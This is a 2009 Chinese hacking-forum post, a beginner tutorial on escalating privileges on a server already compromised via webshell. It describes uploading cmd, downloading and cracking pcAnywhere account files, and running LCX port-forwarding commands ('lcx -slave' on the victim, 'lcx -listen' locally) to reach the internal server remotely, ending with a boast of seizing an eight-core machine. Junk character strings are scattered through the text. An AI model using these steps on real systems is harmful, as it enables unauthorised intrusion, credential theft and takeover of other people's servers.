|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。6 e' G0 i! F: m( r) R
+ D2 M# G6 r4 \) k7 i/ i$ r
提权方法：pcanywhere+LCX
" C2 j+ M. s; i9 G8 J4 s9 z4 J; _7 J7 t2 ]2 n( f
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。7 ~. g! }( l+ {* A5 G3 F2 t( l: d
8 C' Q: V+ k$ ]
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
( q( g+ z) i2 E& s1 s, _1 K6 g1 d- X) E! _# [+ a( i2 C0 C
9 r' T" q2 r& ?# w/ a& s/ S E
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
9 E* a/ E w; H1 `2 s$ j$ ?0 T
) j: {6 x, k- a% J: e7 S4 M7 g0 p Z; i
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
" Y+ a6 n' I- H+ D- X, }
$ f& \. [% z5 k0 c) i! G( v# z- D% b0 B
6 k/ o# ?3 l: z! C& ^ R7 {7 ^4 h* T- r! [- `8 Y
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
3 b* d6 I0 x' b. L
% d. p' v$ u. L5 x" w+ ?
' x; C& Z$ J8 L$ y% i7 vLCX的用法再简单说下：
1 x) w4 u6 V1 V; _+ ^1 t9 b" B5 B4 U: m- G1 i
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
6 y0 W. \. T4 p9 a) V3 J9 z
$ ?, w5 C, @6 r7 t$ q本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）; G' m! U, E) g$ C2 u2 l
+ F0 X3 ~" V7 }" i. C1 d
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。7 M# L% c P+ D5 Q8 k* p
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``* B, Z- {0 f& ]% P# x5 S5 ?" k5 |
4 L$ ~9 z$ D7 u1 f) v: A# F) u8 Q
6 q2 t$ r5 o* d* r/ Z4 C- ]
; y# @+ T& H3 n9 ?. ^( \) z0 K
% f5 o7 l- }& w) _
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
. {8 T4 F, l+ y# _" S$ I2 b
# r) w6 y6 m* a2 m7 S5 [( V' p
% P; u5 \+ o6 A
* |0 D* @5 q3 |: ^我们本地连接试试，输入我们刚破解的账号密码0 J6 l8 C! h3 X
' j- e$ {' |+ U5 ^9 s
. E+ b- r" C% B; J! Y呵呵``连接成功,服务器不错，又一个8核^︵^2 k6 _" ~4 h# Y( u0 H
6 @6 @: a/ R( z7 b* d: @! b! k& ~- [: z8 l0 s, b7 @1 [9 S5 a
0 O# D" F. P3 i: C# M5 w
|
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
